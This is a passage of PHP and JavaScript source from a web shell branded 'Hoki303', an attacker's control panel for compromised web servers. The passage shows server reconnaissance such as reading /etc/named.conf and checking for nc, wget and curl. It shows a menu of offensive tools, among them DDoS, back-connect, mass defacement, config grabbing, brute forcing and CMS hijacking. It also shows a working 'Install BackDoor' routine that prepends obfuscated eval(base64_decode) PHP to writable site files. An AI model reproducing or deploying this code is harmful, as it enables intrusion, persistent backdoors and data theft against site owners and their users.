r="",n="",s="",c="",f=d.mf.c.value,_=!0;if(e=e.trim(),0==Object.keys(editor_files).length){var u=getCookie("hoki_history_files");try{for(var p in u=atob(u),editor_files=JSON.parse(u))insertToHistory(p,editor_files[p].file,0,editor_files[p].type)}catch(e){}}if("phar://"==e.substr(0,7))f=c_;else if(-1!=e.indexOf("/")){var m=e.split("/");e=m[m.length-1],delete m[m.length-1],f=m.join("/"),islinux&&(f="/"+f)}if(void 0===o&&(o=""),void 0!==i&&null!=i&&0!=i.length&&(f=i.trim()),"auto"==a&&isArchive(e))return hokiSyncMenuToOpt(e,!0),!1;try{for(var v in editor_files)if(editor_files[v].file==decodeURIComponent(e)&&editor_files[v].pwd.replace(/\//g,"")==f.replace(/\//g,"")){_=!1,l=v;break}}catch(e){}if(editor_error=!0,void 0!==t&&0!=t.length&&null!=t&&(r=hokib64(t)),void 0!==l&&null!=l&&0!=l.length)n=hokib64(l),s=l,c=l.replace("file_","");else{var h="file_"+(c=getRandom(10));n=hokib64(h),s=h}var b="editor_source_"+c;if(null==$(b)){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}d.querySelector(".editor-tabs").insertAdjacentHTML("beforeend","<div onclick='editorTabController(this);' opt_id='"+b+"' id='tab_"+b+"' class='editor-tab-name editor-tab-active'>"+decodeURIComponent(e)+" <img opt_id='"+b+"' onclick='closeEditorContent(this,event);return false;' title='[close]' src='https://png.pngtree.com/png-clipart/20230308/ourmid/pngtree-logo-garuda-pancasila-red-white-eagle-for-dft-print-free-download-png-image_6637159.png'></div>"),d.querySelector(".editor-content-holder").insertAdjacentHTML("afterbegin","<div class='editor-contents editor-content-active' id='"+b+"'></div>")}return 0==is_minimized&&"none"==$("editor").style.display?($("editor").style.display="block",showEditor("editor"),hokiloader(b,"block")):(is_minimized&&showEditor("editor"),null!=$(b)?hokiloader(b,"block"):(hokiloader("editor","block"),b="editor")),_Ajax(d.URL,"a="+hokib64("FilesTools")+"&c="+hokib64(f)+"&hoki1="+hokib64(e)+"&hoki2="+hokib64(a)+"&hoki3="+r+"&hoki4="+n+"&hoki5=&hoki6=&hoki7=&hoki8=&hoki9=&hoki10=&&ajax="+hokib64("true"),function(t,i){var l=$("tab_"+i);try{null!=l&&((-1==l.classList.value.indexOf("editor-tab-active")||is_minimized)&&(l.classList.add("tab-is-done"),hokiShowNotification("proccess is done...","Editor: "+l.innerText)),is_minimized&&hokiUpdateOptionsBadge("editor"))}catch(t){}if("none"==$("editor").style.display?hokiLoaderOnTop("none"):hokiloader(i,"none"),r.length>0&&"edit"==a)return is_minimized||null!=l&&-1!=l.classList.value.indexOf("editor-tab-active")&&hokiShowNotification("saved...!","Editor"),!1;if(null!=$(i)&&($(i).innerHTML=t),is_minimized&&hokiShowNotification("proccess is done...","Editor: "+decodeURIComponent(e)),$("editor").style.display="block",evalJS(t),hokiLoadAceEditor("view_ml_content"),"delete"!=a&&editor_error){var c=d.getElementsByClassName("is_active");0!=c.length&&(c[0].className="file-holder"),n=s,e=decodeURIComponent(e),!editor_files[n]&&_?(editor_files[n]={file:e,pwd:f,type:o},insertToHistory(n,e," is_active",o),"mkfile"==a&&g("FilesMan",null)):$(n).parentNode.className+=" is_active"}d.body.style.overflow="hidden",d.getElementsByClassName("filestools")[0].setAttribute("fid",n),editor_files[n]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[n].pwd+"/"+editor_files[n].file).replace(/\/\//g,"/")),editor_current_file=n,updateCookieEditor()},!1,b),!1}function hokiLoadAceEditor(e,a){if(void 0===a&&(a=!1),null==$("hoki-ace-plugin")){var t=document.createElement("script");return t.src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.11/ace.js",t.id="hoki-ace-plugin",t.onload=function(){hokiLoadAceEditor(e,a)},d.body.appendChild(t),!1}try{"allow"==$(e).getAttribute("mode")&&(a=!1)}catch(e){}if("view_ml_content"==e){null==hoki_ace_editors.editor&&(hoki_ace_editors.editor={});var i=getCookie("hoki_ace_theme_editor"),l=getCookie("hoki_ace_fontsize_editor");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".editor-ace-controller").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=getRandom(10),o=e.querySelector(".view_ml_content");o.setAttribute("id","view_ml_content-"+t),hoki_ace_editors.editor["view_ml_content-"+t]=ace.edit(o),hoki_ace_editors.editor["view_ml_content-"+t].setReadOnly(a),hoki_ace_editors.editor["view_ml_content-"+t].setShowPrintMargin(!1),hoki_ace_editors.editor["view_ml_content-"+t].setTheme("ace/theme/"+i),hoki_ace_editors.editor["view_ml_content-"+t].session.setMode("ace/mode/php"),hoki_ace_editors.editor["view_ml_content-"+t].session.setUseWrapMode(!0),hoki_ace_editors.editor["view_ml_content-"+t].commands.addCommand({name:"save",bindKey:{win:"Ctrl-S",mac:"Cmd-S"},exec:function(e){d.querySelector("#ace-save-btn-"+t).click()}}),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","view_ml_content-"+t),-1!=e.classList.value.indexOf("ace-save-btn")&&e.setAttribute("id","ace-save-btn-"+t)}),void 0!==l&&setTimeout(function(){hoki_ace_editors.editor["view_ml_content-"+t].setFontSize(parseInt(l))},1e3)})}else{null==hoki_ace_editors.eval&&(hoki_ace_editors.eval={});i=getCookie("hoki_ace_theme_eval"),l=getCookie("hoki_ace_fontsize_eval");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".php-evals").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=e.querySelector(".php-evals-ace"),o=getRandom(10);t.setAttribute("id","phpeval-"+o),hoki_ace_editors.eval["phpeval-"+o]=ace.edit(t),hoki_ace_editors.eval["phpeval-"+o].setReadOnly(a),hoki_ace_editors.eval["phpeval-"+o].setShowPrintMargin(!1),hoki_ace_editors.eval["phpeval-"+o].setTheme("ace/theme/"+i),hoki_ace_editors.eval["phpeval-"+o].session.setMode("ace/mode/php"),hoki_ace_editors.eval["phpeval-"+o].session.setUseWrapMode(!0),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","phpeval-"+o)}),void 0!==l&&setTimeout(function(){hoki_ace_editors.eval["phpeval-"+o].setFontSize(parseInt(l))},1e3)})}}function insertToHistory(e,a,t,i){var l="";t&&0!=t&&(l=t);var o=document.createElement("div");o.innerHTML="<div id='"+e+"' class='history' onClick='reopen(this);'><div class='editor-icon'>"+loadType(a,i,e)+"</div><div class='editor-file-name'>"+a+"</div></div><div class='history-close' onClick='removeHistory(\""+e+"\");'>X</div>",o.className="file-holder"+l,o.addEventListener("mouseover",function(){setEditorTitle(e,"over"),this.childNodes[1].style.opacity="1"}),o.addEventListener("mouseout",function(){setEditorTitle(e,"out"),this.childNodes[1].style.opacity="0"});var r=d.getElementsByClassName("history-list")[0];r.insertBefore(o,r.firstChild)}function loadType(e,a,t){"none"==a&&_Ajax(d.URL,"a="+hokib64("checkfiletype")+"&path="+hokib64(editor_files[t].pwd)+"&arg="+hokib64(editor_files[t].file),function(e){$(t).innerHTML="<div class='editor-icon'>"+loadType(editor_files[t].file,e,t)+"</div><div class='editor-file-name'>"+editor_files[t].file+"</div>",editor_files[t].type=e});if("file"==a){a=(a=e.split("."))[a.length-1].toLowerCase();-1==["json","ppt","pptx","xls","xlsx","msi","config","cgi","pm","c","cpp","cs","java","aspx","asp","db","ttf","eot","woff","woff2","woff","conf","log","apk","cab","bz2","tgz","dmg","izo","jar","7z","iso","rar","bat","sh","hoki","gz","tar","php","php4","php5","phtml","html","xhtml","shtml","htm","zip","png","jpg","jpeg","gif","bmp","ico","txt","js","rb","py","xml","css","sql","htaccess","pl","ini","dll","exe","mp3","mp4","m4a","mov","flv","swf","mkv","avi","wmv","mpg","mpeg","dat","pdf","3gp","doc","docx","docm"].indexOf(a)&&(a="notfound")}else a="folder";return'<img src="http://solevisible.com/icons/{type}" width="30" height="30">'.replace("{type}",a+".png")}function updateFileEditor(e,a){var t="id_"+e,i="id_chmode_"+e,l="id_rename_"+e,o="id_touch_"+e,r="id_edit_"+e,n="id_download_"+e,d="id_delete_"+e,s=$(t).getAttribute("ftype");"folder"==s&&(s="dir"),"file"==s?($(t).innerHTML=a,$(t).setAttribute("href","#action=fileman&path="+c_+"/"+a),$(t).setAttribute("onclick","editor('"+a+"','auto','','','','file')"),$(r).setAttribute("onclick","editor('"+a+"','edit','','','','"+s+"')"),$(n).setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')")):($(t).innerHTML="<b>| "+a+" |</b>",$(t).setAttribute("onclick","g('FilesMan', '"+c_+"/"+a+"')")),$(i).setAttribute("onclick","editor('"+a+"','chmod','','','','"+s+"')"),$(l).setAttribute("onclick","editor('"+a+"','rename','','','','"+s+"')"),$(o).setAttribute("onclick","editor('"+a+"','touch','','','','"+s+"')"),$(d).setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';"),$(t).setAttribute("fname",a)}function updateDirsEditor(e,a){var t=d.mf.c.value+"/",i=editor_files[e].pwd+"/"+a+"/",l=editor_files[e].pwd+"/"+editor_files[e].file+"/";for(var o in i=i.replace(/\/\//g,"/"),l=l.replace(/\/\//g,"/"),-1!=(t=t.replace(/\/\//g,"/")).search(i)&&(initDir(t.replace(i,l)),d.mf.c.value=t.replace(i,l)),editor_files){var r=editor_files[o].pwd+"/";-1!=(r=r.replace(/\/\//g,"/")).search(i)&&(editor_files[o].pwd=r.replace(i,l))}updateCookieEditor()}function updateCookieEditor(){setCookie("hoki_history_files",btoa(JSON.stringify(editor_files)),2012)}function setEditorTitle(e,a){if("out"==a&&""!=editor_current_file){var t=d.querySelector(".editor-tab-name.editor-tab-active");e=null!=t?t.getAttribute("opt_id").replace("editor_source_","file_"):editor_current_file}editor_files[e]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[e].pwd+"/"+editor_files[e].file).replace(/\/\//g,"/"))}function removeHistory(e){delete editor_files[e],$(e)&&$(e).parentNode.parentNode.removeChild($(e).parentNode);var a=d.getElementsByClassName("filestools")[0];a&&a.getAttribute("fid")==e&&(a.outerHTML=""),editor_current_file==e&&(editor_current_file=""),updateCookieEditor()}function getRandom(e){for(var a="",t="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",i=void 0===e?20:e;i>0;--i)a+=t[Math.floor(Math.random()*t.length)];return a}function reopen(e){var a=e.getAttribute("id"),t=editor_files[a].pwd,i=editor_files[a].file,l="editor_source_"+a.replace("file_","");null==$(l)?editor(i,"auto","",t,a):editorTabController(l,!0)}function copyToClipboard(e){e=e.getAttribute("ace_id");var a=hoki_ace_editors.editor[e].selection.toJSON();hoki_ace_editors.editor[e].selectAll(),hoki_ace_editors.editor[e].focus(),document.execCommand("copy"),hoki_ace_editors.editor[e].selection.fromJSON(a),hokiShowNotification("text copied","Editor")}function encrypt(e,a){if(null==a||a.length<=0)return null;e=hokib64(e,!0),a=hokib64(a,!0);for(var t="",i="",l=0;l<e.length;)for(var o=0;o<a.length&&(t=e.charCodeAt(l)^a.charCodeAt(o),i+=String.fromCharCode(t),!(++l>=e.length));o++);return hokib64(i,!0)}function reloadSetting(e){return hokiloader(hoki_before_do_action_id,"block"),_Ajax(d.URL,"a="+hokib64("settings")+"&hoki1="+hokib64(e.protect.value)+"&hoki2="+hokib64(e.lgpage.value)+"&hoki3="+hokib64(e.username.value)+"&hoki4="+hokib64(e.password.value)+"&hoki5="+hokib64(">>")+"&hoki6="+hokib64(e.icon.value)+"&hoki7="+hokib64(e.post_encrypt.value)+"&hoki8="+hokib64("main")+"&hoki9="+hokib64(e.cgi_api.value)+"&c="+hokib64(c_)+"&ajax="+hokib64("true"),function(e,a){loadPopUpOpTions(a,e),evalJS(e),hokiloader(a,"none")},!1,hoki_before_do_action_id),hoki_before_do_action_id="",0==e.e.value&&1==e.protect.value&&setTimeout("location.reload()",1e3),e.s.value!=e.icon.value&&setTimeout("location.reload()",1e3),!1}function reloadColors(e){var a={};void 0===e?d.querySelectorAll(".colors_input").forEach(function(e){var t=e.getAttribute("target").replace(".","");a[t]=e.value}):a=e;var t=$("use_default_color").checked?"1":"0";_Ajax(d.URL,"a="+hokib64("settings")+"&hoki1="+hokib64(JSON.stringify(a))+"&hoki2="+hokib64(">>")+"&hoki3="+hokib64(t)+"&hoki8="+hokib64("color")+"&c="+hokib64(c_)+"&ajax="+hokib64("true"),function(e){evalJS(e)},!0)}function hokib64(e,a){return void 0!==a||0==post_encryption_mode?window.btoa(unescape(encodeURIComponent(e))):encrypt(e,"<?php echo __HOKI_SECRET_KEY__; ?>")}function evalCss(e){var a=document.createElement("style");a.styleSheet?a.styleSheet.cssText=e:a.appendChild(document.createTextNode(e)),d.getElementsByTagName("head")[0].appendChild(a)}function colorHandlerKey(e){setTimeout(function(a){colorHandler(e)},200)}function colorHandler(e){var a=e.getAttribute("target"),t=e.getAttribute("multi"),l=a.indexOf(":hover");if(t){var o=JSON.parse(atob(t)),r="";for(i in o.multi_selector)r+=i+"{"+o.multi_selector[i].replace(/{color}/g,e.value)+"}";evalCss(r)}-1==l||t?($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,".header_values"==a&&(a=".header,.header_values"),d.querySelectorAll(a).forEach(function(a){a.style.color=e.value})):($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,evalCss(a+"{color: "+e.value+";}"))}function importConfig(e){var a=e.target,t=new FileReader;t.onload=function(){var e=t.result;try{reloadColors(JSON.parse(e))}catch(e){alert("Config is invalid...!")}$("importFileBtn").value=""},t.readAsText(a.files[0])}function checkBox(e){var a=hoki_current_fm_id,t=e.checked;d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked=t})}function runcgi(e){if($("cgiframe").style.height="unset",d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Cgi Shell",d.querySelector("#cgiloader .opt-title").innerHTML="Cgi Shell",cgi_is_minimized&&cgi_lang==e&&(showEditor("cgiloader"),0==php_temrinal_using_cgi))return!1;php_temrinal_using_cgi=!1,_Ajax(d.URL,"a="+hokib64("cgishell")+"&hoki1="+hokib64(e)+"&ajax="+hokib64("true"),function(a){d.body.style.overflow="hidden",$("cgiloader").style.display="block",d.querySelector("#cgiframe .terminal-tabs").innerHTML="",d.querySelector("#cgiframe .terminal-contents").innerHTML=a,cgi_lang=e,cgi_is_minimized&&($("cgiloader-minimized").setAttribute("class","minimized-hide"),setTimeout(function(){$("cgiloader").removeAttribute("class"),is_minimized&&($("editor-minimized").style.top="30%")},1e3))})}Element.prototype.appendAfter=function(e){e.parentNode.insertBefore(this,e.nextSibling)};
</script>
<?php echo"<form style='display:none;' id='dlForm' action='' target='_blank' method='post'>
<input type='hidden' name='a' value='dlfile'>
<input type='hidden' name='c' value=''>
<input type='hidden' name='file' value=''>
</form>
<input type='file' style='display:none;' id='importFileBtn' onchange='importConfig(event);'>
<div id='a_loader'><img src='https://png.pngtree.com/png-clipart/20230308/ourmid/pngtree-logo-garuda-pancasila-red-white-eagle-for-dft-print-free-download-png-image_6637159.png".__showicon('loader')."'></div>";
$cmd_uname = hokiEx("uname -a",false,false);
$uname = function_exists('php_uname') ? substr(@php_uname(), 0, 120) : (strlen($cmd_uname)>0?$cmd_uname:'( php_uname ) Function Disabled !');
if($uname=="( php_uname ) Function Disabled !"){$GLOBALS["need_to_update_header"]="true";}
echo '
</head>
<body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<div id="up_bar_holder"></div>
<div class="whole">
<form method="post" name="mf" style="display:none;">
<input type="hidden" name="a">
<input type="hidden" name="c" value="'.$GLOBALS['cwd'].'">';
for($s=1;$s<=10;$s++){
echo '<input type="hidden" name="hoki'.$s.'">';
}
echo '<input type="hidden" name="charset">
</form>
<div id=\'hidden_sh\'><a class="alert_green" target="_blank" href="?kiseryouni"><span style="color:#42ff59;">'.__HOKI_CODE_NAME__.'</span><br><small>Version: <span class="hidden_shell_version">'.__HOKI_VERSION__.'</span></small></a></div>
<div class="header"><table width="100%" border="0">
<tr>
<td width="3%"><span class="header_vars">Uname:</span></td>
<td colspan="2"><span class="header_values" id="header_uname">'.$uname.'</span></td>
</tr>
<tr>
<td><span class="header_vars">User:</span></td>
<td><span class="header_values" id="header_userid">'. $uid . ' [ ' . $user . ' ] </span><span class="header_vars"> Group: </span><span class="header_values" id="header_groupid">' . $gid . ' [ ' . $group . ' ]</span> </td>
<td width="12%" rowspan="8"><img style="border-radius:100px;" width="300" height="170" alt="Hoki303 Gang" draggable="false" src="https://i.ibb.co.com/Gsv3MNG/logo.png" /></td>
</tr>
<tr>
<td><span class="header_vars">PHP:</span></td>
<td><b>'.@phpversion(). ' </b><span class="header_vars"> Safe Mode: '.$safe_modes.'</span></td>
</tr>
<tr>
<td><span class="header_vars">ServerIP:</span></td>
<td><b>'.(!@$_SERVER["SERVER_ADDR"]?(function_exists("gethostbyname")?@gethostbyname($_SERVER['SERVER_NAME']):'????'):@$_SERVER["SERVER_ADDR"]).'</b><div style="display:inline;display:none;" class="flag-holder"></div> <span class="header_vars">Your IP:</span><b> '.@$_SERVER["REMOTE_ADDR"].'</b><div style="display:inline;display:none;" class="flag-holder"></div></td>
</tr>
<tr>
<td width="3%"><span class="header_vars">DateTime:</span></td>
<td colspan="2"><b>'.date('Y-m-d H:i:s').'</b></td>
</tr>
<tr>
<td><span class="header_vars">Domains:</span></td>
<td width="76%"><span class="header_values" id="header_domains">';
if($GLOBALS['sys']=='unix'){
$d0mains = _hoki_file("/etc/named.conf",false);
if(!$d0mains){echo "Cant Read [ /etc/named.conf ]";$GLOBALS["need_to_update_header"]="true";}else{
$count=0;
foreach($d0mains as $d0main){
if(@strstr($d0main,"zone")){
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
flush();
$count++;}}}
echo "$count Domains";}}
else{echo("Cant Read [ /etc/named.conf ]");}
echo '</span></td>
</tr>
<tr>
<td height="16"><span class="header_vars">HDD:</span></td>
<td><span class="header_vars">Total:</span><b>'.hokiSize($totalSpace).' </b><span class="header_vars">Free:</span><b>' . hokiSize($freeSpace) . ' ['. (int) ($freeSpace/$totalSpace*100) . '%]</b></td>
</tr>';
if($GLOBALS['sys']=='unix'){
$useful_downloader = '<tr><td height="18" colspan="2"><span class="header_vars">useful:</span><span class="header_values" id="header_useful">--------------</span></td></tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" id="header_downloader">--------------</span></td></tr>';
if(!@ini_get('safe_mode')){
if(strlen(hokiEx("id",false,false))>0){
echo '<tr><td height="18" colspan="2"><span class="header_vars">Useful : </span>';
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzihoki2','nc','locate','suidperl');
$x=0;
foreach($userful as $item)if(hokiWhich($item)){$x++;echo '<span class="header_values" style="margin-left: 4px;">'.$item.'</span>';}
if($x==0){echo "<span class='header_values' id='header_useful'>--------------</span>";$GLOBALS["need_to_update_header"] = "true";}
echo '</td>
</tr>
<tr>
<td height="0" colspan="2"><span class="header_vars">Downloader: </span>';
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
$x=0;
foreach($downloaders as $item2)if(hokiWhich($item2)){$x++;echo '<span class="header_values" style="margin-left: 4px;">'.$item2.'</span>';}
if($x==0){echo "<span class='header_values' id='header_downloader'>--------------</span>";$GLOBALS["need_to_update_header"] = "true";}
echo '</td>
</tr>';
}else{
echo $useful_downloader;$GLOBALS["need_to_update_header"] = "true";
}
}else{
echo $useful_downloader;$GLOBALS["need_to_update_header"] = "true";
}
}else{
echo '<tr><td height="18" colspan="2"><span class="header_vars">Windows:</span><b>';
echo hokiEx('ver',false,false);
echo '</td>
</tr> <tr>
<td height="0" colspan="2"><span class="header_vars">Downloader: </span><b>-------------</b></td>
</tr></b>';
}
$quotes = (function_exists('get_magic_quotes_gpc')?get_magic_quotes_gpc():'0');if ($quotes == "1" or $quotes == "on"){$magic = '<b><span class="header_on">ON</span>';}else{$magic = '<span class="header_off">OFF</span>';}
echo '<tr>
<td height="16" colspan="2"><span class="header_vars">Disable Functions: </span><b>'.Hoki_GetDisable_Function().'</b></td>
</tr>
<tr>
<td height="16" colspan="2"><span class="header_vars">CURL :</span>'.$curl.' | <span class="header_vars">SSH2 : </span>'.$ssh2.' | <span class="header_vars">Magic Quotes : </span>'.$magic.' | <span class="header_vars"> MySQL :</span>'.$mysql.' | <span class="header_vars">MSSQL :</span>'.$mssql.' | <span class="header_vars"> PostgreSQL :</span>'.$pg.' | <span class="header_vars"> Oracle :</span>'.$or.' '.($GLOBALS['sys']=="unix"?'| <span class="header_vars"> CGI :</span> '.$cgi_shell:"").'</td><td width="15%"><div id="hoki_kiseryouni"><center><a href="https://t.me/kiseryouni" target="_blank"><span><font class="kiseryouni-text" color="#0F0">KiseRyouni & Hoki303</font></span></a></center></div></td>
</tr>
<tr>
<td height="11" colspan="3"><span class="header_vars">Open_basedir :</span><b>'.$open_b.'</b> | <span class="header_vars">Safe_mode_exec_dir :</span><b>'.$safe_exe.'</b> | <span class="header_vars"> Safe_mode_include_dir :</span></b>'.$safe_include.'</b></td>
</tr>
<tr>
<td height="11"><span class="header_vars">SoftWare: </span></td>
<td colspan="2"><b>'.@getenv('SERVER_SOFTWARE').'</b></td>
</tr>';
if($GLOBALS['sys']=="win"){
echo '<tr>
<td height="12"><span class="header_vars">DRIVE:</span></td>
<td colspan="2"><b>'.$drives.'</b></td>
</tr>';
}
echo '<tr>
<td height="12"><span class="header_vars">PWD:</span></td>
<td colspan="2"><span id="header_cwd">'.$cwd_links.' </span><a href="#action=fileman&path='.$GLOBALS['home_cwd'].'" onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')"><span class="home_shell">[ Home Shell ]</span> </a></td>
</tr>
</table>
</div>
<div id="meunlist">
<ul>
';
$li = array('proc'=>'Process','phpeval'=>'Eval','sql'=>'SQL Manager','dumper'=>'Database Dumper','coldumper'=>'Column Dumper','hash'=>'En-Decoder','connect'=>'BC',
'zoneh'=>'ZONE-H','dos'=>'DDOS','safe'=>'ByPasser','cgishell'=>'Cgi Shell','ssiShell'=>'SSI SHELL','cpcrack'=>'Hash Tools',
'portscanner'=>'Port Scaner','basedir'=>'Open BaseDir','mail'=>'Fake Mail','ziper'=>'Compressor','deziper'=>'DeCompressor','IndexChanger'=>'Index Changer','pwchanger'=>'Add New Admin','ShellInjectors'=>'Shell Injectors',
'php2xml'=>'PHP2XML','cloudflare'=>'CloudFlare','Whmcs'=>'Whmcs DeCoder','symlink'=>'Symlink','MassDefacer'=>'Mass Defacer','Crackers'=>'BruteForcer','searcher'=>'Searcher','config_grabber'=>'Config Grabber','fakepage'=>'Fake Page','archive_manager'=>'Archive Manager',
'cmshijacker'=>'CMS Hijacker','remotedl'=>'Remote Upload','inbackdoor'=>'Install BackDoor','whois'=>'Whois','selfrm'=>'Remove Shell'
);
foreach($li as $key=>$value){
echo('<li><a id="menu_opt_'.$key.'" href="#action=options&path='.$GLOBALS['cwd'].'&opt='.$key.'" class="menu_options" onclick="hoki_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt='.$key.'\';g(\''.$key.'\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">'.$value.'</a></li>'."
");
}
echo '</ul><div style="text-align: center;padding: 6px;"><a id="menu_opt_settings" href="#action=options&path='.$GLOBALS['cwd'].'&opt=settings" class="menu_options" onclick="hoki_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=settings\';g(\'settings\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">Hoki Settings</a><a style="display:none;" id="menu_opt_market" href="#action=options&path='.$GLOBALS['cwd'].'&opt=market" class="menu_options" onclick="hoki_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=market\';g(\'market\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;"><span class="hoki_plus">Hoki market</span></a><a id="menu_opt_aboutus" href="#action=options&path='.$GLOBALS['cwd'].'&opt=aboutus" class="menu_options" onclick="hoki_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=aboutus\';g(\'aboutus\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">About Us</a>'.(!empty($_COOKIE['HokiUser']) && !empty($_COOKIE['HokiPass']) ? '<a href="javascript:void(0);" onclick="hokiLogOut();"><font color="red">LogOut</font></a>':'').'</div></div><div id="filesman_tabs"><div onmouseover="hokiFilesmanTabShowTitle(this,event);" onmouseout="hokiFilesmanTabHideTitle(this,event);" fm_counter="1" path="'.$GLOBALS['cwd'].'" fm_id="1" id="filesman_tab_1" class="filesman_tab filesman-tab-active" onclick="filesmanTabController(this);"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span>File manager</span></div><div style="display:inline-block;" id="filesman_tabs_child"></div><div id="filesman_new_tab" class="filesman_tab" style="background: maroon;" onClick="hokiFilesManNewTab(c_,\'/\',1);">New Tab +</div></div>';}else{
@error_reporting(E_ALL ^ E_NOTICE);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('magic_quotes_runtime', 0);
@set_time_limit(0);
}}
function hokilogout(){
@setcookie("HokiUser", null, 2012);
@setcookie("HokiPass", null, 2012);
unset($_COOKIE['HokiUser'],$_COOKIE['HokiPass']);
echo("ok");
}
function showAnimation($name){
return '-webkit-animation: '.$name.' 800ms ease-in-out forwards;-moz-animation: '.$name.' 800ms ease-in-out forwards;-ms-animation: '.$name.' 800ms ease-in-out forwards;animation: '.$name.' 800ms ease-in-out forwards;';
}
function __showicon($r){
$s['btn']='https://png.pngtree.com/png-clipart/20230308/ourmid/pngtree-logo-garuda-pancasila-red-white-eagle-for-dft-print-free-download-png-image_6637159.png';
$s['hokimini']='https://png.pngtree.com/png-clipart/20230308/ourmid/pngtree-logo-garuda-pancasila-red-white-eagle-for-dft-print-free-download-png-image_6637159.png';
$s['loader']='https://png.pngtree.com/png-clipart/20230308/ourmid/pngtree-logo-garuda-pancasila-red-white-eagle-for-dft-print-free-download-png-image_6637159.png';
//return 'data:image/png;base64,'.__get_resource($s[$r]);
return $s[$r];
}
function hokiinbackdoor(){
hokihead();
echo '<div class=header><center><p><div class="txtfont_header">| Install BackDoor |</div></p><h3><a href=javascript:void(0) onclick="g(\'inbackdoor\',null,\'file\')">| In File | </a><a href=javascript:void(0) onclick="g(\'inbackdoor\',null,\'db\')">| In DataBase | </a></h3></center>';
$error = '<font color="red">Error In Inject BackDoor...!<br>File Loader is not Writable Or Not Exists...!</font>';
$success= '<font color="green">Success...!';
$textarea = "<div style='display:none;' id='backdoor_textarea'><div class='txtfont'>Your Shell:</div><p><textarea name='shell' rows='19' cols='103'><?php
echo('Hoki Team is Here...!');
?></textarea></p></div>";
$select = "<div class='txtfont'>Use:</div> <select name='method' style='width:155px;' onChange='inBackdoor(this);'><option value='hoki'>Hoki Team Uploader</option><option value='my'>My Private Shell</option></select>";
$cwd = 'Example: /home/hoki/public_html/index.php';
if($_POST['hoki1']=='file'){
echo("<center><p><div class='txtfont_header'>| In File |</div></p><p><form onsubmit=\"g('inbackdoor',null,'file',this.method.value,this.file.value,this.shell.value,this.key.value);return false;\">{$select} <div class='txtfont'>Backdoor Loader:</div> <input type='text' name='file' size='50' placeholder='{$cwd}'> <div class='txtfont'>Key: </div> <input type='text' name='key' size='10' value='hoki'> <input type='submit' value=' '>{$textarea}</form></p></center>");
if($_POST['hoki2']!=''&&$_POST['hoki3']!=''&&$_POST['hoki4']!=''){
$method = $_POST['hoki2'];
$file = $_POST['hoki3'];
$shell = $_POST['hoki4'];
$key = str_replace(array('"','\''),'',trim($_POST['hoki5']));
if($key=='')$key='hoki';
if($method=='my'){$shell=__ZW5jb2Rlcg($shell);}else{$shell=$GLOBALS['__HOKI_SHELL_CODE'];}
$code = '<?php if(isset($_GET["hoki"])&&$_GET["hoki"]=="'.$key.'"){$func="cr"."ea"."te_"."fun"."ction";$x=$func("\$c","e"."v"."al"."(\'?>\'.base"."64"."_dec"."ode(\$c));");$x("'.$shell.'");exit;}?>';
if(@is_file($file)&&@is_writable($file)){@file_put_contents($file,$code."
".@file_get_contents($file));__alert($success."<br>Run With: ".basename($file)."?hoki=".$key.'</font>');}else{__alert($error);}}}
if($_POST['hoki1']=='db'){
echo("<center><p><div class='txtfont_header'>| In DataBase |</div></p>".getConfigHtml('all')."<p><form onsubmit=\"g('inbackdoor',null,'db',this.db_host.value,this.db_username.value,this.db_password.value,this.db_name.value,this.file.value,this.method.value,this.shell.value,this.key.value);return false;\">");
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
